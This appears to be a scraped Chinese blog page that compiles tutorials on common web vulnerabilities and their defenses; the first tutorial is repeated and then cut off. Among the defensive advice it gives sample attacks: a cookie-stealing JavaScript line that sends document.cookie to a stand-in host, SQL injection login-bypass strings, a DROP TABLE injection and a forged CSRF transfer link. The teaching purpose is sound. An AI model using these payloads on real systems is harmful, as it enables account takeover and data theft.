精华内容
下载资源
问答
  • web常见漏洞

    2018-10-20 10:34:37
    WEB开发中常见漏洞 一、SQL注入漏洞 SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞。在设计程序,忽略...

    WEB开发中常见的漏洞

    一、SQL注入漏洞 
    SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞。在设计程序,忽略了对输入字符串中夹带的SQL指令的检查,被数据库误认为是正常的SQL指令而运行,从而使数据库受到攻击,可能导致数据被窃取、更改、删除,以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。 
    通常情况下,SQL注入的位置包括: 
    (1)表单提交,主要是POST请求,也包括GET请求; 
    (2)URL参数提交,主要为GET请求参数; 
    (3)Cookie参数提交; 
    (4)HTTP请求头部的一些可修改的值,比如Referer、User_Agent等; 
    (5)一些边缘的输入点,比如.mp3文件的一些文件信息等。 
    常见的防范方法 
    (1)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。 
    (2)对进入数据库的特殊字符(’”<>&*;等)进行转义处理,或编码转换。 
    (3)确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。 
    (4)数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。 
    (5)网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。 
    (6)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。 
    (7)避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。 
    (8)在网站发布之前建议使用一些专业的SQL注入检测工具进行检测,及时修补这些SQL注入漏洞。


    二、跨站脚本漏洞 
    跨站脚本攻击(Cross-site scripting,通常简称为XSS)发生在客户端,可被用于进行窃取隐私、钓鱼欺骗、窃取密码、传播恶意代码等攻击。 
    XSS攻击使用到的技术主要为HTML和JavaScript,也包括VBScript和ActionScript等。XSS攻击对WEB服务器虽无直接危害,但是它借助网站进行传播,使网站的使用用户受到攻击,导致网站用户帐号被窃取,从而对网站也产生了较严重的危害。 
    XSS类型包括: 
    (1)非持久型跨站:即反射型跨站脚本漏洞,是目前最普遍的跨站类型。跨站代码一般存在于链接中,请求这样的链接时,跨站代码经过服务端反射回来,这类跨站的代码不存储到服务端(比如数据库中)。上面章节所举的例子就是这类情况。 
    (2)持久型跨站:这是危害最直接的跨站类型,跨站代码存储于服务端(比如数据库中)。常见情况是某用户在论坛发贴,如果论坛没有过滤用户输入的javascript代码数据,就会导致其他浏览此贴的用户的浏览器会执行发贴人所嵌入的Javascript代码。 
    (3)DOM跨站(DOM XSS):是一种发生在客户端DOM(Document Object Model文档对象模型)中的跨站漏洞,很大原因是因为客户端脚本处理逻辑导致的安全问题。 
    常用的防止XSS技术包括: 
    (1)与SQL注入防护的建议一样,假定所有输入都是可疑的,必须对所有输入中的script、iframe等字样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口,也包括HTTP请求中的Cookie中的变量,HTTP请求头部中的变量等。 
    (2)不仅要验证数据的类型,还要验证其格式、长度、范围和内容。 
    (3)不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。 
    (4)对输出的数据也要检查,数据库里的值有可能会在一个大网站的多处都有输出,即使在输入做了编码等操作,在各处的输出点时也要进行安全检查。 
    (5)在发布应用程序之前测试所有已知的威胁。


    三、弱口令漏洞 
    弱口令(weak password) 没有严格和准确的定义,通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。设置密码通常遵循以下原则: 
    (1)不使用空口令或系统缺省的口令,这些口令众所周之,为典型的弱口令。 
    (2)口令长度不小于8个字符。 
    (3)口令不应该为连续的某个字符(例如:AAAAAAAA)或重复某些字符的组合(例如:tzf.tzf.)。 
    (4)口令应该为以下四类字符的组合,大写字母(A-Z)、小写字母(a-z)、数字(0-9)和特殊字符。每类字符至少包含一个。如果某类字符只包含一个,那么该字符不应为首字符或尾字符。 
    (5)口令中不应包含本人、父母、子女和配偶的姓名和出生日期、纪念日期、登录名、E-mail地址等等与本人有关的信息,以及字典中的单词。 
    (6)口令不应该为用数字或符号代替某些字母的单词。 
    (7)口令应该易记且可以快速输入,防止他人从你身后很容易看到你的输入。 
    (8)至少90天内更换一次口令,防止未被发现的入侵者继续使用该口令。


    四、HTTP报头追踪漏洞 
    HTTP/1.1(RFC2616)规范定义了HTTP TRACE方法,主要是用于客户端通过向Web服务器提交TRACE请求来进行测试或获得诊断信息。当Web服务器启用TRACE时,提交的请求头会在服务器响应的内容(Body)中完整的返回,其中HTTP头很可能包括Session Token、Cookies或其它认证信息。攻击者可以利用此漏洞来欺骗合法用户并得到他们的私人信息。该漏洞往往与其它方式配合来进行有效攻击,由于HTTP TRACE请求可以通过客户浏览器脚本发起(如XMLHttpRequest),并可以通过DOM接口来访问,因此很容易被攻击者利用。 
    防御HTTP报头追踪漏洞的方法通常禁用HTTP TRACE方法。


    五、Struts2远程命令执行漏洞 
    ApacheStruts是一款建立Java web应用程序的开放源代码架构。Apache Struts存在一个输入过滤错误,如果遇到转换错误可被利用注入和执行任意Java代码。 
    网站存在远程代码执行漏洞的大部分原因是由于网站采用了Apache Struts Xwork作为网站应用框架,由于该软件存在远程代码执高危漏洞,导致网站面临安全风险。CNVD处置过诸多此类漏洞,例如:“GPS车载卫星定位系统”网站存在远程命令执行漏洞(CNVD-2012-13934);Aspcms留言本远程代码执行漏洞(CNVD-2012-11590)等。 
    修复此类漏洞,只需到Apache官网升级Apache Struts到最新版本:http://struts.apache.org


    六、文件上传漏洞 
    文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的,如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,攻击者可通过 Web 访问的目录上传任意文件,包括网站后门文件(webshell),进而远程控制网站服务器。 
    因此,在开发网站及应用程序过程中,需严格限制和校验上传的文件,禁止上传恶意代码的文件。同时限制相关目录的执行权限,防范webshell攻击。


    七、私有IP地址泄露漏洞 
    IP地址是网络用户的重要标示,是攻击者进行攻击前需要了解的。获取的方法较多,攻击者也会因不同的网络情况采取不同的方法,如:在局域网内使用Ping指令,Ping对方在网络中的名称而获得IP;在Internet上使用IP版的QQ直接显示。最有效的办法是截获并分析对方的网络数据包。攻击者可以找到并直接通过软件解析截获后的数据包的IP包头信息,再根据这些信息了解具体的IP。 
    针对最有效的“数据包分析方法”而言,就可以安装能够自动去掉发送数据包包头IP信息的一些软件。不过使用这些软件有些缺点,譬如:耗费资源严重,降低计算机性能;访问一些论坛或者网站时会受影响;不适合网吧用户使用等等。现在的个人用户采用最普及隐藏IP的方法应该是使用代理,由于使用代理服务器后,“转址服务”会对发送出去的数据包有所修改,致使“数据包分析”的方法失效。一些容易泄漏用户IP的网络软件(QQ、MSN、IE等)都支持使用代理方式连接Internet,特别是QQ使用“ezProxy”等代理软件连接后,IP版的QQ都无法显示该IP地址。虽然代理可以有效地隐藏用户IP,但攻击者亦可以绕过代理,查找到对方的真实IP地址,用户在何种情况下使用何种方法隐藏IP,也要因情况而论。


    八、未加密登录请求 
    由于Web配置不安全,登陆请求把诸如用户名和密码等敏感字段未加密进行传输,攻击者可以窃听网络以劫获这些敏感信息。建议进行例如SSH等的加密后再传输。


    九、敏感信息泄露漏洞 
    SQL注入、XSS、目录遍历、弱口令等均可导致敏感信息泄露,攻击者可以通过漏洞获得敏感信息。针对不同成因,防御方式不同

    十、CSRF 

    展开全文
  • web常见安全漏洞

    万次阅读 2018-09-08 10:04:25
    随着Web2.0、网络社交等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中,越来越多的应用都架设在Web平台上。...黑客利用网站操作系统的漏洞Web服务程序的SQL注入漏洞...

    原文地址: https://www.cnblogs.com/yzycoder/p/5741507.html

    随着Web2.0、网络社交等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中,越来越多的应用都架设在Web平台上。Web业务的迅速发展吸引了黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显。黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害。这使得越来越多的用户关注应用层的安全问题,Web应用安全的关注度也逐渐升温。

    本文从目前比较常见攻击方式入手,对过去一些经典方式进行学习和总结,希望能让大家对Web的安全有更清晰的认识。在阅读本文之前,小伙伴们需要对HTTP和TCP协议、SQL数据库、JavaScript有所了解哦。
    废话不多说,下面开始我们的Web安全之旅吧!
    DoS和DDoS攻击
    DoS(Denial of Service),即拒绝服务,造成远程服务器拒绝服务的行为被称为DoS攻击。其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。
    为了进一步认识DoS攻击,下面举个简单的栗子来进行说明:

    图1 TCP三次握手:数据段互换

    Client发送连接请求报文,Server接受连接后回复ACK报文,并为这次连接分配资源。Client接收到ACK报文后也向Server发送ACK报文,并分配资源,这样TCP连接就建立了。前两次握手,是为了保证服务端能收接受到客户端的信息并能做出正确的应答;后两次握手,是为了保证客户端能够接收到服务端的信息并能做出正确的应答。建立完TCP三次握手后,Client就可以和Web服务器进行通信了。
    在DoS攻击中,攻击者通过伪造ACK数据包,希望Server重传某些数据包,Server根据TCP重转机制,进行数据重传。攻击者利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。实现方式如下图:

    图2 攻击者伪造ACK数据包,发送大量的半连接请求

    Web服务器在未收到客户端的确认包时,会重发请求包一直到链接超时,才将此条目从未连接队列删除。攻击者再配合IP欺骗,SYN攻击会达到很好的效果。通常攻击者在短时间内伪造大量不存在的IP地址,向服务器不断地发送SYN包,服务器回复确认包,并等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN 请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。
    SYN攻击的问题就出在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的,从而导致第三次握手无法完成。在这种情况下服务器端一般会重试,即再次发送SYN+ACK给客户端,并等待一段时间后丢弃这个未完成的连接。这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级,大约为30秒到2分钟。一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源,即数以万计的半连接,将会对服务器的CPU和内存造成极大的消耗。若服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃。实际上,就算服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求,导致用户的正常请求失去响应。
    对于该类问题,我们可以做如下防范:
    第一种是缩短SYN Timeout时间,及时将超时请求丢弃,释放被占用CPU和内存资源。
    第二种是限制同时打开的SYN半连接数目,关闭不必要的服务。
    第三种方法是设置SYN Cookie,给每一个请求连接的IP地址分配一个Cookie。如果短时间内连续受到某个IP的重复SYN报文,就认定是受到了攻击,以后从这个IP地址来的包会被一概丢弃。
    一般来说,第三种方法在防范该类问题上表现更佳。同时可以在Web服务器端采用分布式组网、负载均衡、提升系统容量等可靠性措施,增强总体服务能力。
    DDoS(Distributed Denial of Service,分布式拒绝服务)是DoS攻击的一种方法。攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。阻止合法用户对正常网络资源的访问,从而达成攻击者不可告人的目的。DDoS的攻击策略侧重于通过很多“僵尸主机”,向受害主机发送大量看似合法的网络包,从而造成网络阻塞或服务器资源耗尽而导致拒绝服务。

    图3 DDoS攻击创建“僵尸主机”的过程

    从上图可知,DDOS是利用一批受控制的僵尸主机向一台服务器主机发起的攻击,其攻击的强度和造成的威胁要比DOS严重很多,更具破坏性。
    对于DDoS攻击,我们可以做如下防范:
    (1) 反欺骗:对数据包的地址及端口的正确性进行验证,同时进行反向探测。
    (2) 协议栈行为模式分析:每个数据包类型需要符合RFC规定,这就好像每个数据包都要有完整规范的着装,只要不符合规范,就自动识别并将其过滤掉。
    (3) 特定应用防护:非法流量总是有一些特定特征的,这就好比即便你混进了顾客群中,但你的行为还是会暴露出你的动机,比如老重复问店员同一个问题,老做同样的动作,这样你仍然还是会被发现的。
    (4) 带宽控制:真实的访问数据过大时,可以限制其最大输出的流量,以减少下游网络系统的压力。
    CSRF攻击CSRF(Cross Site Request Forgery),即跨站请求伪造,是一种常见的Web攻击,但很多开发者对它很陌生。CSRF也是Web安全中最容易被忽略的一种攻击。下面先介绍一下CSRF攻击的原理。

    图4 CSRF攻击过程的示例图

    受害者用户登录网站A,输入个人信息,在本地保存服务器生成的cookie。攻击者构建一条恶意链接,例如对受害者在网站A的信息及状态进行操作,典型的例子就是转账。受害者打开了攻击者构建的网页B,浏览器发出该恶意连接的请求,浏览器发起会话的过程中发送本地保存的cookie到网址A,A网站收到cookie,以为此链接是受害者发出的操作,导致受害者的身份被盗用,完成攻击者恶意的目的。
    举个简单的例子来说明下CSRF的危害。用户登陆某银行网站,以Get请求的方式完成到另一银行的转账,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000。攻击者可构造另一危险链接http://www.mybank.com/Transfer.php?toUserId=100&money=1000并把该链接通过一定方式发给受害者用户。受害者用户若在浏览器打开此链接,会将之前登陆后的cookie信息一起发送给银行网站,服务器在接收到该请求后,确认cookie信息无误,会完成改请求操作,造成攻击行为完成。攻击者可以构造CGI的每一个参数,伪造请求。这也是存在CSRF漏洞的最本质原因。
    对于CSRF攻击,我们可以做如下防范:
    (1) 验证码。应用程序和用户进行交互过程中,特别是账户交易这种核心步骤,强制用户输入验证码,才能完成最终请求。在通常情况下,验证码够很好地遏制CSRF攻击。
    但增加验证码降低了用户的体验,网站不能给所有的操作都加上验证码。所以只能将验证码作为一种辅助手段,在关键业务点设置验证码。
    (2) Referer Check。HTTP Referer是header的一部分,当浏览器向web服务器发送请求时,一般会带上Referer信息告诉服务器是从哪个页面链接过来的,服务器籍此可以获得一些信息用于处理。可以通过检查请求的来源来防御CSRF攻击。正常请求的referer具有一定规律,如在提交表单的referer必定是在该页面发起的请求。所以通过检查http包头referer的值是不是这个页面,来判断是不是CSRF攻击。
    但在某些情况下如从https跳转到http,浏览器处于安全考虑,不会发送referer,服务器就无法进行check了。若与该网站同域的其他网站有XSS漏洞,那么攻击者可以在其他网站注入恶意脚本,受害者进入了此类同域的网址,也会遭受攻击。出于以上原因,无法完全依赖Referer Check作为防御CSRF的主要手段。但是可以通过Referer Check来监控CSRF攻击的发生。
    (3) Anti CSRF Token。目前比较完善的解决方案是加入Anti-CSRF-Token,即发送请求时在HTTP 请求中以参数的形式加入一个随机产生的token,并在服务器建立一个拦截器来验证这个token。服务器读取浏览器当前域cookie中这个token值,会进行校验该请求当中的token和cookie当中的token值是否都存在且相等,才认为这是合法的请求。否则认为这次请求是违法的,拒绝该次服务。
    这种方法相比Referer检查要安全很多,token可以在用户登陆后产生并放于session或cookie中,然后在每次请求时服务器把token从session或cookie中拿出,与本次请求中的token 进行比对。由于token的存在,攻击者无法再构造出一个完整的URL实施CSRF攻击。但在处理多个页面共存问题时,当某个页面消耗掉token后,其他页面的表单保存的还是被消耗掉的那个token,其他页面的表单提交时会出现token错误。
    XSS攻击
    XSS(Cross Site Scripting),跨站脚本攻击。为和层叠样式表(Cascading Style Sheets,CSS)区分开,跨站脚本在安全领域叫做“XSS”。恶意攻击者往Web页面里注入恶意Script代码,当用户浏览这些网页时,就会执行其中的恶意代码,可对用户进行盗取cookie信息、会话劫持等各种攻击。XSS是常见的Web攻击技术之一,由于跨站脚本漏洞易于出现且利用成本低,所以被OWASP列为当前的头号Web安全威胁。

    图5 XSS攻击过程的示例图

    XSS跨站脚本攻击本身对Web服务器没有直接的危害,它借助网站进行传播,使网站上大量用户受到攻击。攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意URL,当受害者在Web中打开该URL的时候,恶意脚本会在受害者的计算机上悄悄执行。
    根据XSS攻击的效果,可以将XSS分为3类:
    (1) 反射型XSS(Non-persistent XSS),服务器接受客户端的请求包,不会存储请求包的内容,只是简单的把用户输入的数据“反射”给浏览器。例如:www.a.com?xss.php?name=

    。访问这个链接则会弹出页面的cookie内容,若攻击者把alert改为一个精心构造的发送函数,就可以把用户的cookie偷走。 (2) 存储型XSS(Persistent XSS),这类XSS攻击会把用户输入的数据“存储”在服务器端,具有很强的稳定性。注入脚本跟反射型XSS大同小异,只是脚本不是通过浏览器à服务器à浏览器这样的反射方式,而是多发生在富文本编辑器、日志、留言、配置系统等数据库保存用户输入内容的业务场景。即用户的注入脚本保存到了数据库里,其他用户进行访问涉及到包含恶意脚本的链接都会中招。由于这段恶意的脚本被上传保存到了服务器,这种XSS攻击就叫做“存储型XSS”。例如: 服务器端代码:
    <?php $db.set(‘name’, $_GET[‘name’]);?>

    HTML页面代码

    <?php echo ‘Hi,’ . $db.get[‘name’];?>

    图6 存储型XSS攻击过程的示例图

    (3) DOM based XSS(Document Object Model XSS),这类XSS攻击者将攻击脚本注入到DOM 结构里。出现该类攻击的大多原因是含JavaScrip静态HTML页面存在XSS漏洞。例如下面是一段存在DOM类型跨站脚本漏洞的代码:

    在JS中window.location.search是指URL中?之后的内容,document.write是将内容输出到页面。这时把链接换成http://localhost/test.php?default=
    那用户的cookie就被盗了。上面的例子只是很简单的一种,总结起来是使用了诸如document.write, innerHTML之类的渲染页面方法需要注意参数内容是否是可信任的。
    XSS攻击的危害,可以将XSS分为3类:
    (1) 窃取用户信息。黑客可以利用跨站脚本漏洞盗取用户cookie而得到用户在该站点的身份权限。如在DOM树上新增图片,用户点击后会将当前cookie发送到黑客服务器:
    vari=document.createElement(“img”);
    document.body.appendChild(i);
    i.src = “http://www.hackerserver.com/?c=” + document.cookie;
    (2) 劫持浏览器会话来执行恶意操作,如进行非法转账、强制发表日志或电子邮件等。
    (3) 强制弹广告页,刷流量和点击率。
    (4) 传播跨站脚本蠕虫。如著名的Samy (XSS)蠕虫攻击、新浪微博蠕虫攻击。
    对于XSS攻击,我们可以做如下防范:
    (1) 输入过滤。永远不要相信用户的输入,对用户输入的数据做一定的过滤。如输入的数据是否符合预期的格式,比如日期格式,Email格式,电话号码格式等等。这样可以初步对XSS漏洞进行防御。
    上面的措施只在web端做了限制,攻击者通抓包工具如Fiddler还是可以绕过前端输入的限制,修改请求注入攻击脚本。因此,后台服务器需要在接收到用户输入的数据后,对特殊危险字符进行过滤或者转义处理,然后再存储到数据库中。
    (2) 输出编码。服务器端输出到浏览器的数据,可以使用系统的安全函数来进行编码或转义来防范XSS攻击。在PHP中,有htmlentities()和htmlspecialchars()两个函数可以满足安全要求。相应的JavaScript的编码方式可以使用JavascriptEncode。
    (3) 安全编码。开发需尽量避免Web客户端文档重写、重定向或其他敏感操作,同时要避免使用客户端数据,这些操作需尽量在服务器端使用动态页面来实现。
    (4) HttpOnly Cookie。预防XSS攻击窃取用户cookie最有效的防御手段。Web应用程序在设置cookie时,将其属性设为HttpOnly,就可以避免该网页的cookie被客户端恶意JavaScript窃取,保护用户cookie信息。
    (5)WAF(Web Application Firewall),Web应用防火墙,主要的功能是防范诸如网页木马、XSS以及CSRF等常见的Web漏洞攻击。由第三方公司开发,在企业环境中深受欢迎。
    SQL注入攻击
    SQL注入(SQL Injection),应用程序在向后台数据库传递SQL(Structured Query Language,结构化查询语言)时,攻击者将SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
    在了解SQL注入前,我们先认识下常用的Web的四层架构图组成:

    图7 Web四层架构示例图

    SQL注入常见产生的原因有:
    (1) 转义字符处理不当。特别是输入验证和单引号处理不当。用户简单的在url页面输入一个单引号,就能快速识别Web站点是否易收到SQL注入攻击。
    (2) 后台查询语句处理不当。开发者完全信赖用户的输入,未对输入的字段进行判断和过滤处理,直接调用用户输入字段访问数据库。(3) SQL语句被拼接。攻击者构造精心设计拼接过的SQL语句,来达到恶意的目的。如构造语句:select * from users where userid=123; DROP TABLE users;直接导致user表被删除。
    SQL注入常见的注入方式有:
    (1) 内联SQL注入。向查询注入一些SQL代码后,原来的查询仍然会全部执行。内联SQL注入包含字符串内联SQL注入和数字内联SQL注入。注入方式如下图:

    图8 内联SQL注入示例图

    攻击者将精心构造的字符串或数字输入插入到SQL语句中,例如如下的用户登陆页面:

    图9 有SQL注入风险的用户登陆示例图

    (a) 攻击者可在username字段中注入 ’ or ‘1’=’1’ or ‘1’=’1,password保持为空:
    SELECT * FROM login_tbl WHERE username = ’ ’ or ‘1’=’1’ or ‘1’=’1’ AND userpwd= ’ ’
    这样SQL语句查询语句恒为真,服务器会返回login_tbl表里的全部账户名和密码。
    (b) 攻击者可在password字段,输入’ or ‘1’=’1:
    SELECT * FROM login_tbl WHERE username = ’ ’ AND userpwd= ’ ’ or ‘1’=’1 ’
    这样SQL语句查询语句恒为真,服务器会返回login_tbl表里的全部账户名和密码。
    (c) 攻击者可在username字段中注入 admin’ and 1=1 or ‘1’=’1:
    SELECT * FROM login_tbl WHERE username = ‘admin’ and ‘1’=’1’ or ‘1’=’1’ AND userpwd= ’ ’
    这样构造的SQL语句,服务器会返回admin用户登陆。
    常见的字符串内联注入的特征值如下:

    图10 字符串内联注入的特征值

    常见的数字值内联注入的特征值如下:

    图11 数字值内联注入的特征值

    (2) 终止式SQL注入。攻击者在注入SQL代码时,通过注释剩下的查询来成功结束该语句。注入方式如下图:

    图12 终止式SQL注入示例图

    攻击者将精心构造的字符串或数字输入插入到SQL语句中,例如图9的用户登陆页面:
    (a) 攻击者可在username字段中注入 ’ or 1=1; –,password保持为空:
    SELECT username, userpwd FROM login_tbl WHERE username=” or 1=1; – ’ and userpwd=”
    这样SQL语句查询语句恒为真,服务器会返回login_tbl表里的全部账户名和密码。
    (b) 攻击者可在username字段中注入 admin’ –,或者admin’ #,password保持为空:
    SELECT username, userpwd FROM login_tbl WHERE username=’admin’ –’ and userpwd=”
    SELECT username, userpwd FROM login_tbl WHERE username=’admin’ #’ and userpwd=”
    这样构造的SQL语句,服务器会返回admin用户登陆。
    (c) 攻击者可在username字段中注入 admin’ /,password输入/’:
    SELECT username, userpwd FROM login_tbl WHERE username=’admin’ /’ and userpwd=’/”
    这样构造的SQL语句,服务器会返回admin用户登陆。
    常见的终止式SQL注入的特征值如下:

    图13 终止式SQL注入的特征值

    对于SQL注入攻击,我们可以做如下防范:
    (1) 防止系统敏感信息泄露。设置php.ini选项display_errors=off,防止php脚本出错之后,在web页面输出敏感信息错误,让攻击者有机可乘。
    (2) 数据转义。设置php.ini选项magic_quotes_gpc=on,它会将提交的变量中所有的’(单引号),”(双引号),(反斜杠),空白字符等都在前面自动加上\。或者采用mysql_real_escape()函数或addslashes()函数进行输入参数的转义。
    (3) 增加黑名单或者白名单验证。白名单验证一般指,检查用户输入是否是符合预期的类型、长度、数值范围或者其他格式标准。黑名单验证是指,若在用户输入中,包含明显的恶意内容则拒绝该条用户请求。在使用白名单验证时,一般会配合黑名单验证。
    文件上传漏洞
    上传漏洞在DVBBS6.0时代被黑客们利用的最为猖獗,利用上传漏洞可以直接得到WEBSHELL,危害等级超级高,现在的入侵中上传漏洞也是常见的漏洞。该漏洞允许用户上传任意文件可能会让攻击者注入危险内容或恶意代码,并在服务器上运行。
    文件上传漏洞的原理:由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过 Web 访问的目录上传任意PHP文件,并能够将这些文件传递给 PHP 解释器,就可以在远程服务器上执行任意PHP脚本。
    对于文件上传漏洞攻击,我们可以做如下防范:
    (1)检查服务器是否判断了上传文件类型及后缀。
    (2) 定义上传文件类型白名单,即只允许白名单里面类型的文件上传。
    (3) 文件上传目录禁止执行脚本解析,避免攻击者进行二次攻击。
    Info漏洞
    Info漏洞就是CGI把输入的参数原样输出到页面,攻击者通过修改输入参数而达到欺骗用户的目的。

    Info漏洞存在的3个主要原因有:
    1)CGI参数可以在页面显示。
    2)返回的页面具有很强的欺骗性。
    3)该页面是对所有用户是公开,可访问的。
    Info漏洞的主要危害在于,若在访问量较大的公开页面,如网购、微博或新闻网站,发布反动的政治言论或其他色情词汇等。一方面会影响用户对网购业务的信心,同时也会给网站带来一些政治风险。另外,若是发布欺骗信息,如中奖、彩票等,也会对一些用户造成财产损失。
    对于Info漏洞攻击,将为常见的就是建立脏词库。
    即对于晒单,评论,昵称等可以被其他用户访问到的地方,进行脏词过滤。对用户的输入词汇,与脏词库中的词汇进行匹配,过滤掉有与脏词库相同的词汇。对于一些面向用户自己的,而其他用户不能看到的页面。可以不对其做脏词处理。
    介绍就到这里啦,我们一起来做个总结吧:Web安全是我们必须关注且无法逃避的话题,本文介绍了一些比较典型的安全问题和应对方案。例如对于SQL,XSS等注入式攻击,我们一定要对用户输入的内容进行严格的过滤和审查,这样可以避免绝大多数的注入式攻击方式。对于DoS攻击我们就需要使用各种工具和配置来减轻危害,另外容易被DDoS攻击的还有HTTPS服务,我们要做好特定的应用防护和用户行为模式分析。所以在日常的开发和测试过程中,我们要时常提醒自己,写出的代码有没有可能被人攻击?或者思考若我是一个攻击者,我该怎么做才可以达到我的攻击效果呢?只有这样知己知彼后,方可百战百胜!

    展开全文
  • web常见漏洞总结

    2018-04-21 12:46:40
    一、SQL注入漏洞 SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞。在设计程序,忽略了对输入字符串中夹带的SQL指令的检查,被...

    一、SQL注入漏洞 
    SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞。在设计程序,忽略了对输入字符串中夹带的SQL指令的检查,被数据库误认为是正常的SQL指令而运行,从而使数据库受到攻击,可能导致数据被窃取、更改、删除,以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。 
    通常情况下,SQL注入的位置包括: 
    (1)表单提交,主要是POST请求,也包括GET请求; 
    (2)URL参数提交,主要为GET请求参数; 
    (3)Cookie参数提交; 
    (4)HTTP请求头部的一些可修改的值,比如Referer、User_Agent等; 
    (5)一些边缘的输入点,比如.mp3文件的一些文件信息等。 
    常见的防范方法 
    (1)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。 
    (2)对进入数据库的特殊字符(’”<>&*;等)进行转义处理,或编码转换。 
    (3)确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。 
    (4)数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。 
    (5)网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。 
    (6)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。 
    (7)避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。 
    (8)在网站发布之前建议使用一些专业的SQL注入检测工具进行检测,及时修补这些SQL注入漏洞。

    二、跨站脚本漏洞 
    跨站脚本攻击(Cross-site scripting,通常简称为XSS)发生在客户端,可被用于进行窃取隐私、钓鱼欺骗、窃取密码、传播恶意代码等攻击。 
    XSS攻击使用到的技术主要为HTML和JavaScript,也包括VBScript和ActionScript等。XSS攻击对WEB服务器虽无直接危害,但是它借助网站进行传播,使网站的使用用户受到攻击,导致网站用户帐号被窃取,从而对网站也产生了较严重的危害。 
    XSS类型包括: 
    (1)非持久型跨站:即反射型跨站脚本漏洞,是目前最普遍的跨站类型。跨站代码一般存在于链接中,请求这样的链接时,跨站代码经过服务端反射回来,这类跨站的代码不存储到服务端(比如数据库中)。上面章节所举的例子就是这类情况。 
    (2)持久型跨站:这是危害最直接的跨站类型,跨站代码存储于服务端(比如数据库中)。常见情况是某用户在论坛发贴,如果论坛没有过滤用户输入的javascript代码数据,就会导致其他浏览此贴的用户的浏览器会执行发贴人所嵌入的Javascript代码。 
    (3)DOM跨站(DOM XSS):是一种发生在客户端DOM(Document Object Model文档对象模型)中的跨站漏洞,很大原因是因为客户端脚本处理逻辑导致的安全问题。 
    常用的防止XSS技术包括: 
    (1)与SQL注入防护的建议一样,假定所有输入都是可疑的,必须对所有输入中的script、iframe等字样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口,也包括HTTP请求中的Cookie中的变量,HTTP请求头部中的变量等。 
    (2)不仅要验证数据的类型,还要验证其格式、长度、范围和内容。 
    (3)不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。 
    (4)对输出的数据也要检查,数据库里的值有可能会在一个大网站的多处都有输出,即使在输入做了编码等操作,在各处的输出点时也要进行安全检查。 
    (5)在发布应用程序之前测试所有已知的威胁。

    三、弱口令漏洞 
    弱口令(weak password) 没有严格和准确的定义,通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。设置密码通常遵循以下原则: 
    (1)不使用空口令或系统缺省的口令,这些口令众所周之,为典型的弱口令。 
    (2)口令长度不小于8个字符。 
